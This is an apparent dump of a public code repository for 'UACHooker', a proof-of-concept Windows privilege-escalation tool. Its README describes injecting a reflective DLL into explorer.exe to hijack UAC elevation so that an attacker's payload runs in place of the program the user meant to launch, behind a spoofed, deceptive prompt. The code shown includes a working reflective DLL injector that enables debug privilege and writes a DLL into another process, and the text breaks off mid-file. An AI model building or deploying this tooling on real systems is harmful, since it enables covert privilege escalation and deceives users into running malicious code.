├── pwsh.PNG ├── unsigned.PNG ├── UACHookerDll ├── detours.lib ├── dllmain.cpp ├── UACHookerDll.cpp ├── ReflectiveDll.c ├── UACHookerDll.vcxproj.filters ├── FindLaunchAdminFunc.h ├── ReflectiveDLLInjection.h ├── FindLaunchAdminFunc.cpp ├── ReflectiveLoader.h ├── UACHookerDll.vcxproj ├── ReflectiveLoader.c └── detours.h ├── inject ├── GetProcAddressR.exe ├── inject.sln ├── inject.vcxproj.filters ├── src │ ├── GetProcAddressR.h │ ├── LoadLibraryR.h │ ├── ReflectiveDLLInjection.h │ ├── Inject.c │ ├── GetProcAddressR.c │ └── LoadLibraryR.c ├── inject.vcproj └── inject.vcxproj ├── README.md ├── UACHookerDll.sln └── .gitignore /pwsh.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/pwsh.PNG -------------------------------------------------------------------------------- /unsigned.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/unsigned.PNG -------------------------------------------------------------------------------- /UACHookerDll/detours.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/UACHookerDll/detours.lib -------------------------------------------------------------------------------- /UACHookerDll/dllmain.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/UACHookerDll/dllmain.cpp -------------------------------------------------------------------------------- /inject/GetProcAddressR.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/inject/GetProcAddressR.exe -------------------------------------------------------------------------------- /UACHookerDll/UACHookerDll.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKevinWang/UACHooker/HEAD/UACHookerDll/UACHookerDll.cpp -------------------------------------------------------------------------------- /inject/inject.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual C++ Express 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 13 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 14 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 15 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /UACHookerDll/ReflectiveDll.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // This is a stub for the actuall functionality of the DLL. 3 | //===============================================================================================// 4 | #include "ReflectiveLoader.h" 5 | 6 | // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) 7 | extern HINSTANCE hAppInstance; 8 | //===============================================================================================// 9 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 10 | { 11 | BOOL bReturnValue = TRUE; 12 | switch( dwReason ) 13 | { 14 | case DLL_QUERY_HMODULE: 15 | if( lpReserved != NULL ) 16 | *(HMODULE *)lpReserved = hAppInstance; 17 | break; 18 | case DLL_PROCESS_ATTACH: 19 | hAppInstance = hinstDLL; 20 | MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK ); 21 | break; 22 | case DLL_PROCESS_DETACH: 23 | case DLL_THREAD_ATTACH: 24 | case DLL_THREAD_DETACH: 25 | break; 26 | } 27 | return bReturnValue; 28 | } -------------------------------------------------------------------------------- /inject/inject.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | Source Files 19 | 20 | 21 | Source Files 22 | 23 | 24 | 25 | 26 | Header Files 27 | 28 | 29 | Header Files 30 | 31 | 32 | Header Files 33 | 34 | 35 | -------------------------------------------------------------------------------- /UACHookerDll/UACHookerDll.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | 14 | 15 | Header Files 16 | 17 | 18 | Header Files 19 | 20 | 21 | Header Files 22 | 23 | 24 | Header Files 25 | 26 | 27 | 28 | 29 | Source Files 30 | 31 | 32 | Source Files 33 | 34 | 35 | Source Files 36 | 37 | 38 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # UACHooker POC 2 | Reflective DLL that hooks the AicLaunchAdminProcess function used in the explorer.exe for privilege escalation by hijacking the UAC prompt to trick the user. Copy your payload to "C:\Windows\Temp\test.exe" (currently hardcoded). 3 | 4 | `inject.exe (ps -name explorer).id UACHookerDll.dll` 5 | 6 | Whenever the user tries to open powershell or cmd as admin, it will append to the arguments to execute the payload instead. The user can still see the suspicious arguments if "Show more details" is clicked, but who does that? 7 | ![pwsh demo](https://github.com/TheKevinWang/UACHooker/blob/main/pwsh.PNG) 8 | Whenever the user tries to open any other program as admin, it will instead rename the payload to the same name as the original, set the arguments to the same as the original, 9 | and execute the payload instead. The "Program location" field displayed when the user clicks "Show more details" shows the arguments 10 | to the program, with the assumption that the first argument is the path, but of course this can be spoofed. 11 | For an unsigned .exe, the malicious UAC prompt will be indistinguishable from the real one! For whatever reason, there is no way to view the real path to the exe in the UAC prompt. 12 | I have informed Microsoft, but they do not consider this a vulnerability. 13 | ![unsigned exe demo](https://github.com/TheKevinWang/UACHooker/blob/main/unsigned.PNG) 14 | 15 | *It's actually C:\Windows\Temp\test.exe not C:\Users\Test\Downloads\unetbootin.exe!* 16 | # Future 17 | Currently, only Detours can be used for the hooking. However, Polyhook2 will be supported as well in the future. 18 | Currently a POC, but a full fledged version is in the works. 19 | Also, investigate targets beyond explorer.exe. 20 | -------------------------------------------------------------------------------- /UACHookerDll/FindLaunchAdminFunc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | //disable nonmeaningful warnings. 5 | #pragma warning(push) 6 | //#pragma warning(disable: 4005) // macro redefinition 7 | //#pragma warning(disable: 4055) // %s : from data pointer %s to function pointer %s 8 | //#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union 9 | //#pragma comment(lib, "ntdll.lib") 10 | #pragma warning(disable: 4005) // macro redefinition 11 | #pragma warning(disable: 4055) // %s : from data pointer %s to function pointer %s 12 | #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union 13 | 14 | #include 15 | #include 16 | #include 17 | //typedef PIMAGE_NT_HEADERS(NTAPI* RTLIMAGENTHEADER)(PVOID); 18 | //HINSTANCE hNtdll = GetModuleHandleA("ntdll.dll"); 19 | //RTLIMAGENTHEADER RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader"); 20 | // 21 | //typedef NTSTATUS(NTAPI* RTLGETVERSION)(PRTL_OSVERSIONINFOW); 22 | //RTLGETVERSION RtlGetVersion = (RTLGETVERSION)GetProcAddress(hNtdll, "RtlGetVersion"); 23 | 24 | 25 | #define _NTDEF_ 26 | //#include 27 | #undef _NTDEF_ 28 | 29 | #ifndef PAGE_SIZE 30 | #define PAGE_SIZE 0x1000ull 31 | #endif 32 | 33 | #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) 34 | 35 | 36 | typedef ULONG ELEVATION_REASON; 37 | 38 | #define ALIGN_UP_BY(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1)) 39 | 40 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 41 | ULONG_PTR AicFindLaunchAdminProcess( 42 | _Out_ PNTSTATUS StatusCode); 43 | 44 | #define SUCCESS 0L 45 | #define FAILURE_NULL_ARGUMENT 1L 46 | #define FAILURE_API_CALL 2L 47 | #define FAILURE_INSUFFICIENT_BUFFER 3L 48 | #define MAX_PATH_LEN 260 49 | #define MAX_ARGS_LEN 32768 50 | #define UNICODE -------------------------------------------------------------------------------- /UACHookerDll.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30717.126 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UACHookerDll", "UACHookerDll\UACHookerDll.vcxproj", "{EF5C3745-7668-4A4B-92E9-1F53248F0EC5}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Debug|x64.ActiveCfg = Debug|x64 19 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Debug|x64.Build.0 = Debug|x64 20 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Debug|x86.ActiveCfg = Debug|Win32 21 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Debug|x86.Build.0 = Debug|Win32 22 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Release|x64.ActiveCfg = Release|x64 23 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Release|x64.Build.0 = Release|x64 24 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Release|x86.ActiveCfg = Release|Win32 25 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5}.Release|x86.Build.0 = Release|Win32 26 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Debug|x64 27 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Debug|x64 28 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x86.ActiveCfg = Debug|Win32 29 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x86.Build.0 = Debug|Win32 30 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 31 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 32 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x86.ActiveCfg = Release|Win32 33 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {68E63764-6556-43E4-9274-C8EC0299BED0} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /inject/src/GetProcAddressR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 29 | #define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | 33 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); 34 | //===============================================================================================// 35 | #endif 36 | //===============================================================================================// 37 | -------------------------------------------------------------------------------- /inject/src/LoadLibraryR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 29 | #define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | 33 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); 34 | 35 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); 36 | 37 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); 38 | 39 | //===============================================================================================// 40 | #endif 41 | //===============================================================================================// 42 | -------------------------------------------------------------------------------- /UACHookerDll/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// 52 | -------------------------------------------------------------------------------- /inject/src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_METASPLOIT_ATTACH 4 37 | #define DLL_METASPLOIT_DETACH 5 38 | #define DLL_QUERY_HMODULE 6 39 | 40 | #define DEREF( name )*(UINT_PTR *)(name) 41 | #define DEREF_64( name )*(DWORD64 *)(name) 42 | #define DEREF_32( name )*(DWORD *)(name) 43 | #define DEREF_16( name )*(WORD *)(name) 44 | #define DEREF_8( name )*(BYTE *)(name) 45 | 46 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 47 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 48 | 49 | #define DLLEXPORT __declspec( dllexport ) 50 | 51 | //===============================================================================================// 52 | #endif 53 | //===============================================================================================// 54 | -------------------------------------------------------------------------------- /inject/src/Inject.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #define WIN32_LEAN_AND_MEAN 29 | #include 30 | #include 31 | #include 32 | #include "LoadLibraryR.h" 33 | 34 | #pragma comment(lib,"Advapi32.lib") 35 | 36 | #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } 37 | 38 | // Simple app to inject a reflective DLL into a process vis its process ID. 39 | int main( int argc, char * argv[] ) 40 | { 41 | HANDLE hFile = NULL; 42 | HANDLE hModule = NULL; 43 | HANDLE hProcess = NULL; 44 | HANDLE hToken = NULL; 45 | LPVOID lpBuffer = NULL; 46 | DWORD dwLength = 0; 47 | DWORD dwBytesRead = 0; 48 | DWORD dwProcessId = 0; 49 | TOKEN_PRIVILEGES priv = {0}; 50 | 51 | #ifdef WIN_X64 52 | char * cpDllFile = "reflective_dll.x64.dll"; 53 | #else 54 | #ifdef WIN_X86 55 | char * cpDllFile = "reflective_dll.dll"; 56 | #else WIN_ARM 57 | char * cpDllFile = "reflective_dll.arm.dll"; 58 | #endif 59 | #endif 60 | 61 | do 62 | { 63 | // Usage: inject.exe [pid] [dll_file] 64 | 65 | if( argc == 1 ) 66 | dwProcessId = GetCurrentProcessId(); 67 | else 68 | dwProcessId = atoi( argv[1] ); 69 | 70 | if( argc >= 3 ) 71 | cpDllFile = argv[2]; 72 | 73 | hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); 74 | if( hFile == INVALID_HANDLE_VALUE ) 75 | BREAK_WITH_ERROR( "Failed to open the DLL file" ); 76 | 77 | dwLength = GetFileSize( hFile, NULL ); 78 | if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) 79 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 80 | 81 | lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); 82 | if( !lpBuffer ) 83 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 84 | 85 | if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) 86 | BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); 87 | 88 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) 89 | { 90 | priv.PrivilegeCount = 1; 91 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 92 | 93 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) 94 | AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); 95 | 96 | CloseHandle( hToken ); 97 | } 98 | 99 | hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); 100 | if( !hProcess ) 101 | BREAK_WITH_ERROR( "Failed to open the target process" ); 102 | 103 | hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); 104 | if( !hModule ) 105 | BREAK_WITH_ERROR( "Failed to inject the DLL" ); 106 | 107 | printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); 108 | 109 | WaitForSingleObject( hModule, -1 ); 110 | 111 | } while( 0 ); 112 | 113 | if( lpBuffer ) 114 | HeapFree( GetProcessHeap(), 0, lpBuffer ); 115 | 116 | if( hProcess ) 117 | CloseHandle( hProcess ); 118 | 119 | return 0; 120 | } -------------------------------------------------------------------------------- /inject/src/GetProcAddressR.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "GetProcAddressR.h" 29 | //===============================================================================================// 30 | // We implement a minimal GetProcAddress to avoid 